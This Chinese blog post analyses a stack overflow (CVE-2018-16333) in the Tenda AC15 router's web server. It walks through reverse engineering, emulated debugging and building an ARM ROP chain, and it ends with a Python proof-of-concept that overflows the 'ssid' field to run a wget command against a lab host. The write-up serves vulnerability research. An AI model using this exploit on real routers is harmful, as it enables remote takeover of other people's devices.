Tenda AC15 CVE-2018-16333漏洞分析

固件安全
2022-03-30 03:39
19100

Tenda AC15 CVE-2018-16333漏洞分析

[TOC]

一、固件分析

查看上文中2.3处emba跑出的结果,检索httpd相关。

危险函数有strcpyprintfstrcatfprintsystem等。

二、漏洞分析

使用IDA分析httpd

2.1、strcpy

2.1.1、关键词搜索

搜索一下strcpy,一共184处匹配。

首先还是寻找与goahead接口相关的函数,只有那些API接口会存在直接可控用户输入从而更有可能引发漏洞。

2.1.2、危险函数筛选

结果如下

 formAdvGetLanIp 
 formGetOnlineList 
 formGetPPTPServer 
 formGetParentCtrlList 
 formGetPortStatus 
 formGetQosBand
 formGetSystemStatus
 formSetFirewallCfg
 formSetPPTPUserList
 formWifiApScan
 formWifiBasicSet
 form_fast_setting_wifi_set
 fromDhcpListClient
 fromGetIpMacBind
 fromGetSysTime
 fromGetWirelessRepeat
 fromGetWrlStatus
 fromSetIpMacBind
 fromSetSysTime
 fromSetWirelessRepeat

仅有20个API接口函数与strcpy有关。

一个个跟进查看。

一些API接口函数(如: formAdvGetLanIp),其strcpy函数中不存在可控变量,在第二次筛选中就可以排除了。

最后剩下如下危险接口

form_fast_setting_wifi_set

int __fastcall form_fast_setting_wifi_set(int a1)
{
  src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
  if ( *src )
  {
    strcpy(s, src);
    strcpy(dest, src);
}

formSetFirewallCfg

int __fastcall formSetFirewallCfg(int a1)
{
   src = (char *)sub_2BA8C(a1, "firewallEn", "1111");
  v1 = (char *)strlen(src);
  if ( (unsigned int)v1 > 3 )
  {
    strcpy(dest, src);
    GetValue("security.ddos.map", s);
}

formWifiBasicSet

int __fastcall formWifiBasicSet(int a1)
{
  src = (char *)sub_2BA8C(a1, "security_5g", "none");
  strcpy(dest, src);
}

fromDhcpListClient

int __fastcall fromDhcpListClient(int a1)
{
  v10 = sub_2BA8C(a1, v5, &unk_EE388);
  if ( !v10 || !*(_BYTE *)v10 )
      break;
    strcpy(dest, (const char *)(v10 + 1));
}

fromSetIpMacBind

int __fastcall fromSetIpMacBind(int a1)
{
   v22 = (char *)sub_2BA8C(a1, "list", &unk_EE388);
  if ( v1 >= 0 && v19 <= 32 )
  {
    src = v22;
    for ( i = 1; src && i <= v19; ++i )
    {
      v18 = strchr(src, 10);
      if ( v18 )
      {
        *v18 = 0;
        strcpy(dest, src);
}

fromSetSysTime

int __fastcall fromSetSysTime(int a1)
{
 src = (char *)sub_2BA8C(a1, "ntpServer", "time.windows.com");
    SetValue("sys.timesyn", "1");
    SetValue("sys.timemode", "auto");
    SetValue("sys.timezone", v23);
    SetValue("sys.timenextzone", "0");
    SetValue("sys.timefixper", v22);
    v1 = SetValue("sys.timentpserver", src);
    if ( CommitCfm(v1) )
    {
      GetValue("sys.timesyn", nptr);
      if ( atoi(nptr) == 1 )
      {
        v16[0] = atoi(nptr);
        v16[1] = atoi(v23);
        v16[2] = atoi(v22);
        strcpy((char *)&v16[3], src); 
}

fromSetWirelessRepeat

int __fastcall fromSetWirelessRepeat(int a1)
{
  src = (char *)sub_2BA8C(a1, "wpapsk_crypto", "aes");
            v41 = (char *)sub_2BA8C(a1, "wpapsk_key", &unk_EFE58);
            if ( !*v41 && strlen(v41) <= 7 )
            {
              v59 = 1;
              goto LABEL_121;
            }
            if ( !strcmp(v43, "wpa") )
            {
              strcpy(v15, "psk");
            }
            else if ( !strcmp(v43, "wpa2") )
            {
              strcpy(v15, "psk2");
            }
            else
            {
              strcpy(v15, "psk psk2");
            }
            if ( !strcmp(src, "tkip&aes") )
              strcpy(v14, "tkip+aes");
            else
              strcpy(v14, src);
}

2.1.3、分析与调试

2.1.3.1、前期准备

由于是对二进制代码进行分析、调试,因此需要系统模式运行qemugdbserverida pro或者gdb-multiarch

使用Tenda AC15 CVE-2020-10987漏洞分析中的方法启动系统模式的qemu。

下载gdbserver。

cd squashfs-root
wget http://10.10.10.2:8000/gdbservrmhf-eabi5-v1-sysv
mv gdbserver-7.7.1-armhf-eabi5-v1-sver gdbserver
chmod 777 gdbserver
a、使用ida pro调试

启动httpd

进入虚拟机检查一下

启动成功。

由于M1芯片的vmware fusion实在很难用,因此传个代理进虚拟机然后继续用ssh操作。

上传frpcfrpc.ini,配置如下

启动frpsfrpc

undefined

连接127.0.0.1:20022

查找httpd进程

使用gdbserver挂载,并修改frpc.ini,将8866端口也映射出来

./gdbserver :8866 --attach 2381

ida远程调试,报错

使用端口映射的方式进行调试,会出现一些问题,因此只映射8022,采用gdb-multiarch进行调试,仍然报错。

猜测是apple M1芯片的问题,arm架构很有问题,因此使用远端VPS作为模拟qemu系统。

网络架构如图。

在VPS中开启frpsfrpc

配置如下:

frps.ini
[common]
bind_port = 7000

frpc.ini
[common]
server_addr = 10.10.10.2
server_port = 7000

[qemu-ssh]
type = tcp
local_ip = 10.10.10.3
local_port = 22
remote_port = 20022

[qemu-web]
type = tcp
local_ip = 10.10.10.3
local_port = 80
remote_port = 20080

[qemu-gdb]
type = tcp
local_ip = 10.10.10.3
local_port = 28866
remote_port = 28866

在本机和VPS中开启TCP通道,并做正向转发。

在mac下的windows虚拟机(因为没有Mac m1版的ida pro)中开启admin端

admin.exe -l 9999

在mac开启agent端

agent -c 10.211.55.3:9999
2022/03/29 20:44:54 Node starting......

将mac本地的127.0.0.1:28866转发至windows下。

按照Tenda AC15 CVE-2020-10987漏洞分析的方法启动qemu,并开启gdbserver。

调整IDA的GDBServer配置。

连接web

成功进入调试,并成功断点。

但是,该方法需要三层代理,非常不稳定,网络轻微扰动都会导致调试奔溃,因此建议使用X86/X64位架构的机器直接进行调试,或者在虚拟机中使用gdb-multiarch等gdb调试软件。

b、使用gdb-multiarch调试

使用gdb-multiarch挂载进程并设定初始信息。

set architecture arm
set endian little
set solib-search-path lib/
b 断点位置
target remote 10.10.10.3:8866
2.1.3.2、form_fast_setting_wifi_set

form_fast_setting_wifi_set为例进行rce漏洞分析。

a、漏洞分析

在第一个strcpy和函数入口下断点。

set architecture arm
set endian little
set solib-search-path lib/
b form_fast_setting_wifi_set
b *0x0006706C
target remote 10.10.10.3:8866

查看前端代码。

//TODO:hack wan connected
            //$("#waiting").removeClass("none");
            //$("#wifi_setting").addClass("none");
            //$("#btn_control").addClass("none");

            var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString());

            var subObj = {
                "ssid": $("#ssid").val(),
                "wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd,
                "power": $("#power").val(),
                "timeZone": getTimeZone(),
                "loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd)
            }
            data = objTostring(subObj);
            $.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) {
                G.wanStatus = obj.connectStatus;
                $.post("goform/fast_setting_wifi_set", data, handWifi);
            })

可见data中传递的是一组由json对象转换而成的字符串变量,主要有如下几个参数"ssid"、"wrlPassword"、"power"、"timeZone"、"loginPwd"。

查看后端处理代码。

 src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
 if ( *src )
  {
    strcpy(s, src);
    strcpy(dest, src);

因此,实际上我们只需要控制"ssid"的值即可,至于sub_2BA8C

void *__fastcall sub_2BA8C(int a1, int a2, int a3)
{
  int v6; // [sp+14h] [bp-10h]

  v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2);
  if ( !v6 )
    return (void *)a3;
  if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
    return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
  return &unk_DC1C4;
}

光读代码还是比较麻烦,可以在调试过程中进行猜测其功能。

下断点,开始调试,停在SIGPIPE异常,使用handle SIGPIPE nostop print忽略该问题。

下五个断点,分别在00066EE00x000670780x0006707C0x0006708C0x00067090

b *0x00066EE0
b *0x00067078
b *0x0006707C
b *0x0006708C
b *0x00067090

发送ssid

断点停在函数开始处。

.text:00066EE0                 PUSH            {R4,R5,R11,LR}

函数在开始时,将需要的参数及函数的return地址押入栈中。

LR存放函数的返回地址,为0x171c8

继续单步运行,到0x0006707c 处,查看寄存器。

存放输入数据的寄存器r1、r3内存放的是一个指向ssid值的指针,值为0x898ed0

查看内存空间。

绿色框为存放src值的s分配的内存空间,具体可见代码

char s[64]; // [sp+200h] [bp-7Ch] BYREF

红色框为存放src值的地址。

蓝色框为函数的返回地址,我们需要将该地址覆盖掉。

继续运行至第二个strcpy,也就是0x00067090

可以发现第二次strcpy也是从同样的地址取src的值。

查看内存

橘黄色框中为dest的变量空间。

那么这样就会出先一个问题。

如果直接将返回值0x000171c8覆盖,那么也会同时覆盖掉0x00898ed0这个值,那么在第二次strcpy的时候,就有可能会因为找不到src的值而报错,

所以需要在覆盖0x00898ed0时选择一个可以读到的地址覆盖他,这样就不会报错了。

b、构造rop链

首先搜一下system这个函数的用法。

.text:0004F8E4 ADD             R3, R4, R3 ; "killall -9 telnetd"
.text:0004F8E8 MOV             R0, R3  ; command
.text:0004F8EC BL              system
.text:0004F8F0 SUB             R3, R11, #-var_12C

如图可见,system这个函数,只需要一个寄存器。

因此,我们去libc.so.0中找一个system函数。

system函数使用r3寄存器调用库函数里的system,使用r0寄存器来存放命令参数。

因此,我们需要在libc中搜索一个"pop r3"的出栈操作和一个"mov r0,"的操作。

python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 --only "pop" | grep r3

发现一个POP {r3,pc}

总所周知,SP是存放站顶指针,指向下一个出栈的位置,那么如果能找到一个mov r0,SP,就可以轻松构造如下栈空间。

*(POP {r3,pc})
*(ldr r3,system)
*(mov r0,SP,ldr r3)
"Command"

当命令执行到*(mov r0,sp,ldr r3)处时,sp指向“command”,又将sp赋值给r0,rop链就可以达成了。

因此我们再搜索一个mov r0,sp,blx/bl r3,

python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0  | grep "mov r0, sp" > 1,txt

查看1,txt

找到了

0x00040cb8 : mov r0, sp ; blx r3
c、poc
#!/usr/bin/python3

import requests
from pwn import *

cmd = b'wget http://10.10.10.2:8899'
libc_base = 0x76d79000
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload  = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd


print(payload)

三、小结

  • Tenda AC15的还存在其他RCE漏洞点,接下来的文章会继续分析
  • 近期不建议使用Macbook M1进行IoT漏洞的模拟、分析
分享到

参与评论

0 / 200

全部评论 3

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:33
投稿
签到
联系我们
关于我们